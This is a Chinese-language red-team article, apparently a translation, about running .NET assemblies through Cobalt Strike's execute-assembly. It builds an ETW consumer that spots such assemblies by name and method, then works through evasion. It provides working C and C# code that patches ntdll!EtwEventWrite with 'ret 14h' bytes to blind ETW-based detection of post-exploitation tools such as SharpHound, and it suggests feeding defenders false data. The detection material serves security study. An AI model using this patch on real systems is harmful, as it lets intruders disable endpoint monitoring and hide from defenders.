0x00 前言
在Powershell检测机制越来越完善后,攻击者也逐渐开始使用较少被审查的技术(比如.NET)。经过一段时间的改善后,现在我们可以在后渗透(post-exploitation)阶段使用各种.NET payload,我们的武器库中经常能看到GhostPack、SharpHound等工具的身影,而Cobalt Strike的execute-assembly
能够帮我们进一步强化这些payload的投递。
这个函数大大改变了红队的操作习惯,我认为这也是.NET工具日益流行的原因之一。通过这种方式,操作人员可以在后期渗透测试中,从非托管(unmanaged)进程中运行.NET程序集(Assembly)。
与Powershell类似,随着时间的推移,微软及端点安全厂商也引入了许多防御功能,以便减少.NET payload检测中的盲点(比如.NET 4.8开始引入的AMSI),因此攻击者如果想继续使用这种技术,就需要尽可能保持隐蔽性。就目前来看,虽然AMSI并没有起到太多作用,但防御方使用的其他技术可能还没有得到足够多的重视。
在这几篇文章中,我想与大家探讨这方面内容,比如蓝队如何检测.NET恶意执行行为、payload执行方式(比如通过execute-assembly
),以及攻击者如何规避这些检测机制(包括具体的检测绕过方式、减少工具被暴露的风险)。
在第1篇文章中,我们将重点讨论ETW(Event Tracing for Windows),以及如何利用ETW获取非托管进程中执行的.NET Assembly。
0x01 execute-assembly
为了了解防御方的检测能力,我们首先需要理解攻击者所使用的技术的原理,比如execute-assembly
的工作原理。
该方法主要依赖3个接口:ICLRMetaHost
、ICLRMetaHost
以及ICLRRuntimeHost
。为了能将CLR载入我们“非托管的”进程中(否则就变成典型的、不具备CLR的Windows进程),我们需要调用CLRCreateInstance
方法。使用该函数后,我们能获取到一个ICLRMetaHost
接口,该接口能够提供当前可用的.NET Frameworks列表:
ICLRMetaHost *metaHost = NULL;
IEnumUnknown *runtime = NULL;
if (CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost) != S_OK) {
printf("[x] Error: CLRCreateInstance(..)\n");
return 2;
}
if (metaHost->EnumerateInstalledRuntimes(&runtime) != S_OK) {
printf("[x] Error: EnumerateInstalledRuntimes(..)\n");
return 2;
}
选择某个运行时后,我们可以实例化ICLRRuntimeInfo
接口,利用该接口创建我们的ICLRRuntimeHost
接口。
frameworkName = (LPWSTR)LocalAlloc(LPTR, 2048);
if (frameworkName == NULL) {
printf("[x] Error: malloc could not allocate\n");
return 2;
}
// Enumerate through runtimes and show supported frameworks
while (runtime->Next(1, &enumRuntime, 0) == S_OK) {
if (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK) {
if (runtimeInfo != NULL) {
runtimeInfo->GetVersionString(frameworkName, &bytes);
wprintf(L"[*] Supported Framework: %s\n", frameworkName);
}
}
}
// For demo, we just use the last supported runtime
if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost) != S_OK) {
printf("[x] ..GetInterface(CLSID_CLRRuntimeHost...) failed\n");
return 2;
}
创建成功后,我们可以通过调用2个方法完成整个操作:ICLRRuntimeHost::Start
用来将CLR载入我们的进程中,ICLRRuntimeHost::ExecuteInDefaultAppDomain
用来传入Assembly的位置,以及待执行的方法名:
// Start runtime, and load our assembly
runtimeHost->Start();
printf("[*] ======= Calling .NET Code =======\n\n");
if (runtimeHost->ExecuteInDefaultAppDomain(
L"myassembly.dll",
L"myassembly.Program",
L"test",
L"argtest",
&result
) != S_OK) {
printf("[x] Error: ExecuteInDefaultAppDomain(..) failed\n");
return 2;
}
printf("[*] ======= Done =======\n");
如果大家想了解完整的运行过程,可参考我提供的这个Gist。
编译并执行后,我们可以在非托管进程中加载并执行.NET Assembly,整个过程非常简单。
0x02 检测机制
了解execute-assembly
的工作原理后,我们需要澄清防御方对应的检测机制。这里常用的一种检测方法为ETW(Event Tracing for Windows),最初引入该功能的应用场景为调试和性能监控,但现在安全产品及防御方经常使用该工具来挖掘潜在的危险行为。
Countercept之前发表过一系列文章,介绍了.NET的恶意使用场景,从这些文章中我开始了解ETW在检测机制中的应用。此外,@FuzzySec的SilkETW进一步演示了如何利用ETW来分析微软的.NET CLR。Endgame也提供了一款PoC工具(ClrGuard),可以用来检测并终止恶意.NET进程。
在进一步分析前,我想提醒一下:直接使用Github上相关项目提供的“Releases”版payload并不是一个睿智的主意,这是目前被重点盯防的区域。现在已经有许多项目(比如GhostPack)注意到这一点,这些项目直接不提供预编译好的二进制文件,迫使用户自己编译解决方案。如果有人执迷不悟,还采用这种偷懒方式,那么很容易就会被检测出来。这里我们以SharpHound为例来测试一下。
如果想查看进程中已加载的Assembly,我们可以使用ProcessHacker之类的工具。当我们使用execute-assembly
来加载SharpHound时,可以通过该工具来观察运行结果。如下图所示,我们可以根据.NET Assembly名,发现某个代理进程(这里为w32tm.exe
)正在托管SharpHound:
如果想了解这类工具如何枚举.NET Assembly,这里我们可以创建一个非常简单的ETW consumer,获取某个进程加载并执行.NET Assembly的信息。
不幸的是,创建ETW consumer并不是特别直观的一个过程,我们可以参考ProcessHacker的实现方式,最终创建出自己的代码,如下所示:
#define AssemblyDCStart_V1 155
#include <windows.h>
#include <stdio.h>
#include <wbemidl.h>
#include <wmistr.h>
#include <evntrace.h>
#include <Evntcons.h>
static GUID ClrRuntimeProviderGuid = { 0xe13c0d23, 0xccbc, 0x4e12, { 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 } };
// Can be stopped with 'logman stop "dotnet trace" -etw'
const char name[] = "dotnet trace\0";
#pragma pack(1)
typedef struct _AssemblyLoadUnloadRundown_V1
{
ULONG64 AssemblyID;
ULONG64 AppDomainID;
ULONG64 BindingID;
ULONG AssemblyFlags;
WCHAR FullyQualifiedAssemblyName[1];
} AssemblyLoadUnloadRundown_V1, *PAssemblyLoadUnloadRundown_V1;
#pragma pack()
static void NTAPI ProcessEvent(PEVENT_RECORD EventRecord) {
PEVENT_HEADER eventHeader = &EventRecord->EventHeader;
PEVENT_DESCRIPTOR eventDescriptor = &eventHeader->EventDescriptor;
AssemblyLoadUnloadRundown_V1* assemblyUserData;
switch (eventDescriptor->Id) {
case AssemblyDCStart_V1:
assemblyUserData = (AssemblyLoadUnloadRundown_V1*)EventRecord->UserData;
wprintf(L"[%d] - Assembly: %s\n", eventHeader->ProcessId, assemblyUserData->FullyQualifiedAssemblyName);
break;
}
}
int main(void)
{
TRACEHANDLE hTrace = 0;
ULONG result, bufferSize;
EVENT_TRACE_LOGFILEA trace;
EVENT_TRACE_PROPERTIES *traceProp;
printf("ETW .NET Trace example - @_xpn_\n\n");
memset(&trace, 0, sizeof(EVENT_TRACE_LOGFILEA));
trace.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
trace.LoggerName = (LPSTR)name;
trace.EventRecordCallback = (PEVENT_RECORD_CALLBACK)ProcessEvent;
bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(name) + sizeof(WCHAR);
traceProp = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);
traceProp->Wnode.BufferSize = bufferSize;
traceProp->Wnode.ClientContext = 2;
traceProp->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
traceProp->LogFileMode = EVENT_TRACE_REAL_TIME_MODE | EVENT_TRACE_USE_PAGED_MEMORY;
traceProp->LogFileNameOffset = 0;
traceProp->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
if ((result = StartTraceA(&hTrace, (LPCSTR)name, traceProp)) != ERROR_SUCCESS) {
printf("[!] Error starting trace: %d\n", result);
return 1;
}
if ((result = EnableTraceEx(
&ClrRuntimeProviderGuid,
NULL,
hTrace,
1,
TRACE_LEVEL_VERBOSE,
0x8, // LoaderKeyword
0,
0,
NULL
)) != ERROR_SUCCESS) {
printf("[!] Error EnableTraceEx\n");
return 2;
}
hTrace = OpenTrace(&trace);
if (hTrace == INVALID_PROCESSTRACE_HANDLE) {
printf("[!] Error OpenTrace\n");
return 3;
}
result = ProcessTrace(&hTrace, 1, NULL, NULL);
if (result != ERROR_SUCCESS) {
printf("[!] Error ProcessTrace\n");
return 4;
}
return 0;
}
构造完consumer后,我们可以运行该程序,然后再次通过Cobalt Strike中的execute-assembly
选项来运行Sharphound,整个过程可参考此处视频。
从视频中可知,我们能成功获取到Sharphound的Assembly名称,这足以捕捉到该工具的蛛丝马迹。现在大家能想到一种直观的规避方式,那就是重新编译该工具,重命名Assembly,如下所示:
msbuild.exe /p:AssemblyName=notmalware ...
如果检测机制基于Assembly名,那么这种方式的确行之有效。然而,我们可以进一步改进ETW工具,获取正在被调用的可疑方法,如下所示:
...
switch (eventDescriptor->Id) {
case MethodLoadVerbose_V1:
methodUserData = (struct _MethodLoadVerbose_V1*)EventRecord->UserData;
WCHAR* MethodNameSpace = methodUserData->MethodNameSpace;
WCHAR* MethodName = (WCHAR*)(((char*)methodUserData->MethodNameSpace) + (lstrlenW(methodUserData->MethodNameSpace) * 2) + 2);
WCHAR* MethodSignature = (WCHAR*)(((char*)MethodName) + (lstrlenW(MethodName) * 2) + 2);
wprintf(L"[%d] - MethodNameSpace: %s\n", eventHeader->ProcessId, methodUserData->MethodNameSpace);
wprintf(L"[%d] - MethodName: %s\n", eventHeader->ProcessId, MethodName);
wprintf(L"[%d] - MethodSignature: %s\n", eventHeader->ProcessId, MethodSignature);
break;
...
现在即使我们重命名SharpHound Assembly,再次运行时,我们还是能根据SharpHound相关的命名空间、类名以及方法名发现恶意行为的存在,参考此处视频。
如果大家想自己动手试一下这个ETW consumer,可以访问此处获取源代码。
了解这些信息后,现在我们可以再次混淆方法名(大家可以参考我之前的文章),但最终我们每次都需要跟ETW玩猫鼠游戏。
0x03 ETW如何检测CLR事件
根据前面分析,我们的目标已经十分明确:需要避免ETW向防御方报告我们的恶意行为。为了完成该任务,我们首先需要了解ETW如何检测到CLR相关事件。
这里我们以clr.dll
为例,看一下是否能捕捉到事件触发的时机。我们可以使用Ghidra加载PDB,寻找AssemblyDCStart_V1
符号,最终找到如下方法:
前面我们使用自己开发的ETW consumer可以观察到Assembly的加载动作,这里我们能否找到相关事件的具体生成时机呢?我们可以运行WinDBG,在上图ModuleLoad
方法后调用的所有ntdll!EtwEventWrite
上设置断点,断点触发后,我们可以找到Assembly名(这里为test
)的发送操作:
这里我们能得到2个信息:首先,这些ETW事件发送自用户模式;其次,这些ETW事件发送自我们能够控制的某个进程。显然,防御方不能依赖恶意进程自己举报自己正在执行恶意操作。
0x04 如何禁用.NET ETW
从前文可知,依赖ETW来发现恶意行为存在一些缺陷,现在我们可以稍微修改非托管.NET加载程序,patch掉ntdll!EtwEventWrite
调用。
这里我们以x86架构为例,研究EtwEventWrite
函数的操作过程。分析该函数对应的反汇编代码,可以看到该函数通过ret 14h
操作码实现函数返回:
为了禁用该函数正常功能,这里我们在函数开头处直接使用ret 14h
对应的字节码(即c21400
)。
// Get the EventWrite function
void *eventWrite = GetProcAddress(LoadLibraryA("ntdll"), "EtwEventWrite");
// Allow writing to page
VirtualProtect(eventWrite, 4, PAGE_EXECUTE_READWRITE, &oldProt);
// Patch with "ret 14" on x86
memcpy(eventWrite, "\xc2\x14\x00\x00", 4);
// Return memory to original protection
VirtualProtect(eventWrite, 4, oldProt, &oldOldProt);
完成该操作后,可以看到该函数会直接返回,同时栈状态恢复正常:
那么如果现在我们运行SharpHound Assembly,前面我们使用的ETW检测方式是否还能正常工作?在patch ETW之前,我们能看到如下类似信息:
patch完成后,没有任何事件会被记录下来:
大家可以访问此处下载相关源码。
如果我们使用自己的非托管进程来执行.NET Assembly,这种技术当然非常有用,但如果我们面对的是托管进程呢?比如,我们能否在调用Assembly.Load
前执行相同的patch操作呢?其实在.NET内部patch ETW的确没那么完美,主要是因为在patch点之前,我们不可避免会留下一些痕迹,但完成patch后,我们依然能够隐藏后续的Assembly加载操作:
using System;
using System.Reflection;
using System.Runtime.InteropServices;
namespace test
{
class Win32
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
class Program
{
static void Main(string[] args)
{
Console.WriteLine("ETW Unhook Example @_xpn_");
// Used for x86, I'll let you patch for x64 ;)
PatchEtw(new byte[] { 0xc2, 0x14, 0x00 });
Console.WriteLine("ETW Now Unhooked, further calls or Assembly.Load will not be logged");
Console.ReadLine();
//Assembly.Load(new byte[] { });
}
private static void PatchEtw(byte[] patch)
{
try
{
uint oldProtect;
var ntdll = Win32.LoadLibrary("ntdll.dll");
var etwEventSend = Win32.GetProcAddress(ntdll, "EtwEventWrite");
Win32.VirtualProtect(etwEventSend, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, etwEventSend, patch.Length);
}
catch
{
Console.WriteLine("Error unhooking ETW");
}
}
}
}
执行测试用例后,可以看到patch之前仍然会有些事件产生,但patch成功后系统已不再记录任何事件:
现在如果我们使用的工具依赖ETW作为数据采集源(比如ProcessHacker),我们将无法得到任何有用信息:
大家可以利用这些技术来发挥自己的创造力,比如向防御方提供虚假信息、过滤掉可能危险的行为特征。除了patch ntdll!EtwEventWrite
之外,我们还有其他方法能够禁用ETW。这里最关键的一点是:尽管ETW在行为检测上非常有用,但仍然存在其局限性。
希望本文能给大家在渗透测试中提供思路。在第2篇文章中,我们将探讨其他内容,分析如何避免payload被防御方提取及分析。
发表评论
您还未登录,请先登录。
登录